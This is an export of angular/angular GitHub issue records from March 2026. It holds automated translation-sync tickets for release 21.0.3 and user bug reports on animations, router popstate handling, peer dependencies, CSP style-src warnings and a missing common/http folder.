angular/angular,4058730683,🔄 Translation 21.0.3: `adev/shared-docs/components/top-level-banner/top-level-banner.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/top-level-banner/top-level-banner.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:08+00:00,2026-03-11 14:56:59+00:00,1,"area: i18n,gemini-triaged",0.0013,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058730523,🔄 Translation 21.0.3: `adev/shared-docs/components/top-level-banner/top-level-banner.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/top-level-banner/top-level-banner.component.html),"area: i18n,gemini-triaged",2026-03-11 14:55:06+00:00,2026-03-11 14:57:18+00:00,1,"area: i18n,gemini-triaged",0.0015,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058730391,🔄 Translation 21.0.3: `adev/shared-docs/components/text-field/text-field.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/text-field/text-field.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:05+00:00,2026-03-11 14:57:19+00:00,1,"area: i18n,gemini-triaged",0.0016,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058730294,🔄 Translation 21.0.3: `adev/shared-docs/components/text-field/text-field.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/text-field/text-field.component.html),"area: i18n,gemini-triaged",2026-03-11 14:55:03+00:00,2026-03-11 14:57:16+00:00,1,"area: i18n,gemini-triaged",0.0015,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058730103,🔄 Translation 21.0.3: `adev/shared-docs/components/table-of-contents/table-of-contents.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/table-of-contents/table-of-contents.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:02+00:00,2026-03-11 14:57:37+00:00,1,"area: i18n,gemini-triaged",0.0018,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058729847,🔄 Translation 21.0.3: `adev/shared-docs/components/table-of-contents/table-of-contents.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/table-of-contents/table-of-contents.component.html),"area: i18n,gemini-triaged",2026-03-11 14:55:00+00:00,2026-03-11 14:57:38+00:00,1,"area: i18n,gemini-triaged",0.0018,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058729721,🔄 Translation 21.0.3: `adev/shared-docs/components/tab-group/tab-group.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/tab-group/tab-group.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:59+00:00,2026-03-11 14:57:40+00:00,1,"area: i18n,gemini-triaged",0.0019,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058729585,🔄 Translation 21.0.3: `adev/shared-docs/components/tab-group/tab-group.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/tab-group/tab-group.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:57+00:00,2026-03-11 14:57:42+00:00,1,"area: i18n,gemini-triaged",0.0019,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058729176,🔄 Translation 21.0.3: `adev/shared-docs/components/slide-toggle/slide-toggle.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/slide-toggle/slide-toggle.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:56+00:00,2026-03-11 14:57:44+00:00,1,"area: i18n,gemini-triaged",0.0019,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058729029,🔄 Translation 21.0.3: `adev/shared-docs/components/slide-toggle/slide-toggle.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/slide-toggle/slide-toggle.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:54+00:00,2026-03-11 14:57:46+00:00,1,"area: i18n,gemini-triaged",0.002,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058728915,🔄 Translation 21.0.3: `adev/shared-docs/components/select/select.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/select/select.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:53+00:00,2026-03-11 14:58:00+00:00,1,"area: i18n,gemini-triaged",0.0022,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058728792,🔄 Translation 21.0.3: `adev/shared-docs/components/select/select.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/select/select.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:51+00:00,2026-03-11 14:58:02+00:00,1,"area: i18n,gemini-triaged",0.0022,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058728646,🔄 Translation 21.0.3: `adev/shared-docs/components/search-history/search-history.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/search-history/search-history.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:50+00:00,2026-03-11 14:58:04+00:00,1,"area: i18n,gemini-triaged",0.0022,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058728524,🔄 Translation 21.0.3: `adev/shared-docs/components/search-history/search-history.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/search-history/search-history.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:48+00:00,2026-03-11 14:58:06+00:00,1,"area: i18n,gemini-triaged",0.0023,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058728362,🔄 Translation 21.0.3: `adev/shared-docs/components/search-dialog/search-dialog.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/search-dialog/search-dialog.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:47+00:00,2026-03-11 14:58:15+00:00,1,"area: i18n,gemini-triaged",0.0024,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058728219,🔄 Translation 21.0.3: `adev/shared-docs/components/search-dialog/search-dialog.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/search-dialog/search-dialog.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:45+00:00,2026-03-11 14:58:08+00:00,1,"area: i18n,gemini-triaged",0.0023,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058728067,🔄 Translation 21.0.3: `adev/shared-docs/components/navigation-list/navigation-list.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/navigation-list/navigation-list.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:44+00:00,2026-03-11 14:59:03+00:00,1,"area: i18n,gemini-triaged",0.003,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058727957,🔄 Translation 21.0.3: `adev/shared-docs/components/navigation-list/navigation-list.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/navigation-list/navigation-list.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:42+00:00,2026-03-11 14:59:01+00:00,1,"area: i18n,gemini-triaged",0.003,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058727826,🔄 Translation 21.0.3: `adev/shared-docs/components/index.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/index.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:41+00:00,2026-03-11 14:59:05+00:00,1,"area: i18n,gemini-triaged",0.0031,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058727467,🔄 Translation 21.0.3: `adev/shared-docs/components/copy-source-code-button/copy-source-code-button.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/copy-source-code-button/copy-source-code-button.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:38+00:00,2026-03-11 14:58:59+00:00,1,"area: i18n,gemini-triaged",0.003,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058727344,🔄 Translation 21.0.3: `adev/shared-docs/components/copy-source-code-button/copy-source-code-button.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/copy-source-code-button/copy-source-code-button.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:37+00:00,2026-03-11 14:59:21+00:00,1,"area: i18n,gemini-triaged",0.0033,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058727057,🔄 Translation 21.0.3: `adev/shared-docs/components/copy-link-anchor/copy-link-anchor.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/copy-link-anchor/copy-link-anchor.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:35+00:00,2026-03-11 14:59:23+00:00,1,"area: i18n,gemini-triaged",0.0033,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058726894,🔄 Translation 21.0.3: `adev/shared-docs/components/cookie-popup/cookie-popup.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/cookie-popup/cookie-popup.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:33+00:00,2026-03-11 14:59:25+00:00,1,"area: i18n,gemini-triaged",0.0034,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058726790,🔄 Translation 21.0.3: `adev/shared-docs/components/cookie-popup/cookie-popup.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/cookie-popup/cookie-popup.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:32+00:00,2026-03-11 14:59:27+00:00,1,"area: i18n,gemini-triaged",0.0034,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058726650,🔄 Translation 21.0.3: `adev/shared-docs/components/breadcrumb/breadcrumb.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/breadcrumb/breadcrumb.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:30+00:00,2026-03-11 14:59:29+00:00,1,"area: i18n,gemini-triaged",0.0035,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058726498,🔄 Translation 21.0.3: `adev/shared-docs/components/breadcrumb/breadcrumb.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/breadcrumb/breadcrumb.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:29+00:00,2026-03-11 14:59:32+00:00,1,"area: i18n,gemini-triaged",0.0035,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058726331,🔄 Translation 21.0.3: `adev/shared-docs/components/algolia-icon/algolia-icon.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/algolia-icon/algolia-icon.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:54:27+00:00,2026-03-11 14:59:34+00:00,1,"area: i18n,gemini-triaged",0.0036,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058726115,🔄 Translation 21.0.3: `adev/shared-docs/components/algolia-icon/algolia-icon.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/algolia-icon/algolia-icon.component.html),"area: i18n,gemini-triaged",2026-03-11 14:54:25+00:00,2026-03-11 14:59:36+00:00,1,"area: i18n,gemini-triaged",0.0036,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058725847,🔄 Translation 21.0.3: `adev/scripts/update-cross-repo-docs/README.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/scripts/update-cross-repo-docs/README.md),"area: i18n,gemini-triaged",2026-03-11 14:54:23+00:00,2026-03-11 14:58:47+00:00,1,"area: i18n,gemini-triaged",0.0031,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058725695,🔄 Translation 21.0.3: `adev/README.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/README.md),"area: i18n,gemini-triaged",2026-03-11 14:54:22+00:00,2026-03-11 14:58:49+00:00,1,"area: i18n,gemini-triaged",0.0031,translation initial sync for release this file needs to be translated n n view file on github,others,0.0
angular/angular,4058725585,🔄 Translation 21.0.3: `SECURITY.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/SECURITY.md),"area: i18n,gemini-triaged",2026-03-11 14:54:21+00:00,2026-03-11 14:59:38+00:00,1,"area: i18n,gemini-triaged",0.0037,translation initial sync for release this file needs to be translated n n view file on github,others,0.0
angular/angular,4058725453,🔄 Translation 21.0.3: `README.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/README.md),"area: i18n,gemini-triaged",2026-03-11 14:54:19+00:00,2026-03-11 14:58:44+00:00,1,"area: i18n,gemini-triaged",0.0031,translation initial sync for release this file needs to be translated n n view file on github,others,0.0
angular/angular,4058725322,🔄 Translation 21.0.3: `CONTRIBUTING.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/CONTRIBUTING.md),"area: i18n,gemini-triaged",2026-03-11 14:54:18+00:00,2026-03-11 14:58:42+00:00,1,"area: i18n,gemini-triaged",0.0031,translation initial sync for release this file needs to be translated n n view file on github,others,0.0
angular/angular,4058725059,🔄 Translation 21.0.3: `CODE_OF_CONDUCT.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/CODE_OF_CONDUCT.md),"area: i18n,gemini-triaged",2026-03-11 14:54:16+00:00,2026-03-11 14:58:40+00:00,1,"area: i18n,gemini-triaged",0.0031,translation initial sync for release this file needs to be translated n n view file on github,others,0.0
angular/angular,4058724947,🔄 Translation 21.0.3: `CHANGELOG_ARCHIVE.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/CHANGELOG_ARCHIVE.md),"area: i18n,gemini-triaged",2026-03-11 14:54:15+00:00,2026-03-11 14:58:38+00:00,1,"area: i18n,gemini-triaged",0.003,translation initial sync for release this file needs to be translated n n view file on github,others,0.0
angular/angular,4058724813,🔄 Translation 21.0.3: `CHANGELOG.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/CHANGELOG.md),"area: i18n,gemini-triaged",2026-03-11 14:54:13+00:00,2026-03-11 14:58:36+00:00,1,"area: i18n,gemini-triaged",0.003,translation initial sync for release this file needs to be translated n n view file on github,others,0.0
angular/angular,4053700924,Change detection stops working on Cordova,"### Which @angular/* package(s) are the source of the bug?

zone.js

### Is this a regression?

Yes

### Description

When you use Ionic with native plugins, Angular can't detect changes.

Then wrap it with a callback or updates in NgZone, and it will work again when you call run().

Please suggest any global solution is available


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-03-10 19:13:57+00:00,2026-03-10 19:34:42+00:00,3,"area: core,gemini-triaged",0.0144,change detection stops working on cordova which angular package s are the source of the bug zone js is this a regression yes description when you use ionic with native plugins angular can t detect changes then wrap it with a callback or updates in ngzone and it will work again when you call run please suggest any global solution is available please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.5859
angular/angular,4053261879,[Canonical]: Prevent animate.leave from firing on route navigations,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

When we added nested animation support in https://github.com/angular/angular/pull/66848, it eliminated the confusion from many people that child animations didn't fire. Now we're receiving the opposite feedback, particularly with route navigations, where understandably, users don't always want child animations to fire. We need a mechanism for preventing this behavior other than CSS specificity.

","area: core,core: animations",2026-03-10 17:41:44+00:00,2026-03-12 16:58:06+00:00,13,"area: core,core: animations",1.9697,canonical prevent animate leave from firing on route navigations which angular package s are relevant related to the feature request core description when we added nested animation support in it eliminated the confusion from many people that child animations didn t fire now we re receiving the opposite feedback particularly with route navigations where understandably users don t always want child animations to fire we need a mechanism for preventing this behavior other than css specificity,others,-0.6808
angular/angular,4052735485,BrowserUrl not working with popstate events,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

No

### Description

The <code>browserUrl</code> property in the router navigation extras allows to display a different URL in the address bar than the one used for route matching. The problem is that when using the popstate triggers (back and forward buttons), the router is using the URL in the address bar and not the router's internal state, causing the route matching to fail to match with the same previously matched route.

**Expected result**
When using a custom <code>browserUrl</code>, the route matching strategy should match against the router internal state rather than the given <code>browserUrl</code> value (URL in the address bar).

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-rmvgyk2x

### Please provide the exception or error you saw

```true
ERROR RuntimeError: NG04002: Cannot match any routes. URL Segment: 'missing-item'
    at Recognizer.noMatchError (_router-chunk.mjs:2813:12)
    at Recognizer.match (_router-chunk.mjs:2847:20)
    at async Recognizer.recognize (_router-chunk.mjs:2820:9)
    at async _router-chunk.mjs:3076:9
console.error @ .webcontainer@runtime.056788dd.js:26
handleError @ _effect-chunk2.mjs:2601
(anonymous) @ _effect-chunk2.mjs:2617
runOutsideAngular @ _effect-chunk2.mjs:2576
(anonymous) @ _effect-chunk2.mjs:2610
(anonymous) @ _router-chunk.mjs:4259
Promise.catch
navigateToSyncWithBr... [TRUNCATED]","area: router,gemini-triaged",2026-03-10 16:00:26+00:00,2026-04-20 23:46:27+00:00,2,"area: router,gemini-triaged",41.3236,browserurl not working with popstate events which angular package s are the source of the bug router is this a regression no description the browserurl property in the router navigation extras allows to display a different url in the address bar than the one used for route matching the problem is that when using the popstate triggers back and forward buttons the router is using the url in the address bar and not the router s internal state causing the route matching to fail to match with the same previously matched route expected result when using a custom browserurl the route matching strategy should match against the router internal state rather than the given browserurl value url in the address bar please provide a link to a of the bug please provide the exception or error you saw true error runtimeerror ng cannot match any routes url segment missing item at recognizer nomatcherror router chunk mjs at recognizer match router chunk mjs at async recognizer recognize router chunk mjs at async router chunk mjs console error webcontainer runtime dd js handleerror effect chunk mjs anonymous effect chunk mjs runoutsideangular effect chunk mjs anonymous effect chunk mjs anonymous router chunk mjs promise catch navigatetosyncwithbr truncated,others,-0.9186
angular/angular,4052320767,Conflicting Peer Dependency,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Since upgrading to Angular 21, there have been intermittent angular peer dependency issues on build. These seem to resolve on their own within a few days. We are not able to `--force` in our Bitbucket pipeline to get around this.

### Please provide a link to a minimal reproduction of the bug

https://2qe7wq8m.stackblitz.io

#### package.json
```json
  ""dependencies"": {
    ""@angular/animations"": ""^21.1.2"",
    ""@angular/build"": ""^21.1.2"",
    ""@angular/cdk"": ""^21.1.2"",
    ""@angular/cli"": ""^21.1.2"",
    ""@angular/common"": ""^21.1.2"",
    ""@angular/compiler"": ""^21.1.2"",
    ""@angular/core"": ""^21.1.2"",
    ""@angular/forms"": ""^21.1.2"",
    ""@angular/material"": ""^21.1.2"",
    ""@angular/platform-browser"": ""^21.1.2"",
    ""@angular/router"": ""^21.1.2"",
    ""rxjs"": ""~7.8.1"",
    ""tslib"": ""^2.0.0"",
    ""uuid"": ""9.0.0"",
    ""zone.js"": ""~0.15.0""
  },
  ""devDependencies"": {
    ""@angular-builders/jest"": ""^21.0.3"",
    ""@angular/compiler-cli"": ""^21.1.2"",
    ""@angular/language-service"": ""^21.1.2"",
    ""@types/jest"": ""~30.0.0"",
    ""@types/node"": ""24.10.9"",
    ""jest"": ""~30.2.0"",
    ""ts-node"": ""~10.9.2"",
    ""tslint"": ""~6.1.0"",
    ""typescript"": ""~5.9.3""
  }
```

### Please provide the exception or error you saw

```true
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: example-app@0.0.0
npm error Found: @angular/core@21.1.2
npm ... [TRUNCATED]","area: core,gemini-triaged",2026-03-10 14:49:02+00:00,2026-03-11 19:41:37+00:00,8,"area: core,gemini-triaged",1.2032,conflicting peer dependency which angular package s are the source of the bug core is this a regression yes description since upgrading to angular there have been intermittent angular peer dependency issues on build these seem to resolve on their own within a few days we are not able to in our bitbucket pipeline to get around this please provide a link to a of the bug package json please provide the exception or error you saw true npm error code eresolve npm error eresolve could not resolve npm error npm error while resolving example app npm error found angular core npm truncated,others,-0.8537
angular/angular,4052291646,animate.leave in Angular 21.2.0,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

in Angular 21.1.0 when you route to a new page didn't dispatch the animate.leave
in Angular 22.2.0 is dispatched, so, instead of navigate to the new component, first execute the animation

https://stackblitz.com/edit/stackblitz-starters-5ecgke18?file=package.json (Angular 21.2.0) <--KO
https://stackblitz.com/edit/stackblitz-starters-mq8dpgik?file=package.json (angular 21.1.0) <--OK

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-5ecgke18?file=package.json

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64
```

### Anything else?

Come from this SO:https://stackoverflow.com/questions/79903928/stop-animations-firing-when-navigating-away-from-a-page","area: animations,gemini-triaged",2026-03-10 14:44:11+00:00,2026-03-10 17:42:57+00:00,4,"area: animations,gemini-triaged",0.1241,animate leave in angular which angular package s are the source of the bug animations is this a regression yes description in angular when you route to a new page didn t dispatch the animate leave in angular is dispatched so instead of navigate to the new component first execute the animation angular ko angular ok please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else come from this so,others,-0.3818
angular/angular,4046871881,The child element is removed with animation when the parent is removed from the DOM,"### Which @angular/* package(s) are the source of the bug?


### Is this a regression?

Yes

### Description

When the parent element is removed from the DOM (via `@if` or page navigation), the child elements with `[animate.leave]` directives trigger their animations. According to the Angular documentation, this should not happen - only the element with the animation directive should animate when it is explicitly removed.

## Current Behaviour
-  The child element is removed with animation when the parent is removed via page navigation.

## Expected Behaviour
- The child animation should only trigger when the child element itself is removed via its own `@if` condition, not from page navigation or removing the parent with `@if` in the parent.
- This is stated in the documentation: https://angular.dev/guide/animations#element-removal-order-matters
- The example given in the above documentation is also not working as expected.


### Please provide a link to a minimal reproduction of the bug

https://angular.dev/guide/animations#element-removal-order-matters

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

We are using new `animate.enter` and `animate.leave` APIs instead of using deprecated `@angular/animations` package as mentioned in `https://github.com/angular/angular/issues/36530`","area: animations,gemini-triaged",2026-03-09 17:20:07+00:00,2026-03-09 17:47:07+00:00,1,"area: animations,gemini-triaged",0.0188,the child element is removed with animation when the parent is removed from the dom which angular package s are the source of the bug is this a regression yes description when the parent element is removed from the dom via or page navigation the child elements with directives trigger their animations according to the angular documentation this should not happen only the element with the animation directive should animate when it is explicitly removed current behaviour the child element is removed with animation when the parent is removed via page navigation expected behaviour the child animation should only trigger when the child element itself is removed via its own condition not from page navigation or removing the parent with in the parent this is stated in the documentation the example given in the above documentation is also not working as expected please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else we are using new and apis instead of using deprecated package as mentioned in,others,-0.5267
angular/angular,4046044008,animate.leave firing even though parent is removed first,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I was just looking at how `animate.leave` works, and was reading the web page [here](https://angular.dev/guide/animations).

<img width=""750"" height=""208"" alt=""Image"" src=""https://github.com/user-attachments/assets/6c4985d3-9dec-4fda-bec5-1b5489cd709f"" />

This suggests that the animation effect should not fire when the parent is removed, however, when you use the example provided, the child animation is still firing.

This is what I'm seeing in my own application as well.

Either the documentation is out of date or this is a bug.

### Please provide a link to a minimal reproduction of the bug

https://angular.dev/guide/animations

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,core: animations",2026-03-09 14:47:36+00:00,2026-03-09 22:03:10+00:00,3,"area: core,core: animations",0.3025,animate leave firing even though parent is removed first which angular package s are the source of the bug don t known other is this a regression no description i was just looking at how works and was reading the web page here this suggests that the animation effect should not fire when the parent is removed however when you use the example provided the child animation is still firing this is what i m seeing in my own application as well either the documentation is out of date or this is a bug please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.9241
angular/angular,4045652284,Angular CSP compatibility issue: OWASP ZAP reports style-src 'unsafe-inline' as security vulnerability,"### Which @angular/* package(s) are the source of the bug?

core, platform-browser

### Is this a regression?

No

### Description

When deploying an Angular application with a strict Content Security Policy (CSP), Angular component styles fail to load unless style-src 'unsafe-inline' is enabled.

However, security scanning tools such as OWASP ZAP report this configuration as a security vulnerability.

This creates a challenge for organizations that must comply with strict security policies because Angular applications currently require unsafe-inline for styles to function correctly.

### **Security Scanner Warning (OWASP ZAP)**

During security testing using OWASP ZAP, the following warning is reported:

**Alert:**
CSP: style-src unsafe-inline

**Risk**: Medium

**Description**:
  Content Security Policy (CSP) includes unsafe-inline in the style-src directive.
  Allowing inline styles may increase the risk of Cross-Site Scripting (XSS) attacks.
  Evidence example:
  Content-Security-Policy:
  default-src 'self';
  style-src 'self' 'unsafe-inline';
  script-src 'self';
  img-src 'self' data: https:;
  connect-src 'self';
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

OWASP ZAP flags this policy because unsafe-inline is considered insecure

### **Angular Behavior**

Angular injects component styles dynamically at runtime using <style> elements similar to:
Because these styles are treated as **inline styles**, browsers block them when the ... [TRUNCATED]","area: security,gemini-triaged",2026-03-09 13:36:02+00:00,2026-03-09 17:44:21+00:00,2,"area: security,gemini-triaged",0.1724,angular csp compatibility issue owasp zap reports style src unsafe inline as security vulnerability which angular package s are the source of the bug core platform browser is this a regression no description when deploying an angular application with a strict content security policy csp angular component styles fail to load unless style src unsafe inline is enabled however security scanning tools such as owasp zap report this configuration as a security vulnerability this creates a challenge for organizations that must comply with strict security policies because angular applications currently require unsafe inline for styles to function correctly security scanner warning owasp zap during security testing using owasp zap the following warning is reported alert csp style src unsafe inline risk medium description content security policy csp includes unsafe inline in the style src directive allowing inline styles may increase the risk of cross site scripting xss attacks evidence example content security policy default src self style src self unsafe inline script src self img src self data https connect src self font src self object src none base uri self frame ancestors none owasp zap flags this policy because unsafe inline is considered insecure angular behavior angular injects component styles dynamically at runtime using elements similar to because these styles are treated as inline styles browsers block them when the truncated,bug,0.1027
angular/angular,4045220808,HTTP Common folder disappeared,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description



263 x 9
 powershell
1 Hidden Terminal
CHAT
PRERENDERING IMPLEMENTATION INQUIRY
Here is a template you can use to report this issue to the Angular team:

Title:
Angular v21+ packages missing @angular/common/http directory, only .msj files present, causing ""Cannot find module '@angular/common/http'"" errors

Description:
After installing any Angular v21.x.x version, the common package does not contain the traditional http directory. Instead, it contains files like http.msj. My project and the Angular CLI (v21+) cannot resolve imports from @angular/common/http, resulting in errors like:


Cannot find module '@angular/common/http' or its corresponding type declarations.
Environment:

Node.js: v24.14.0
npm: 11.10.0
Angular CLI: 21.2.1 (also tested 21.1.0, 21.2.0, etc.)
TypeScript: 5.9.3
OS: Windows 10 x64
Steps to reproduce:

Create a new Angular project or update to v21.x.x.
Run npm install.
Check common — the http directory is missing, only http.msj is present.
Attempt to import from @angular/common/http in your code.
Build or prerender — you get module not found errors.
Expected behavior:
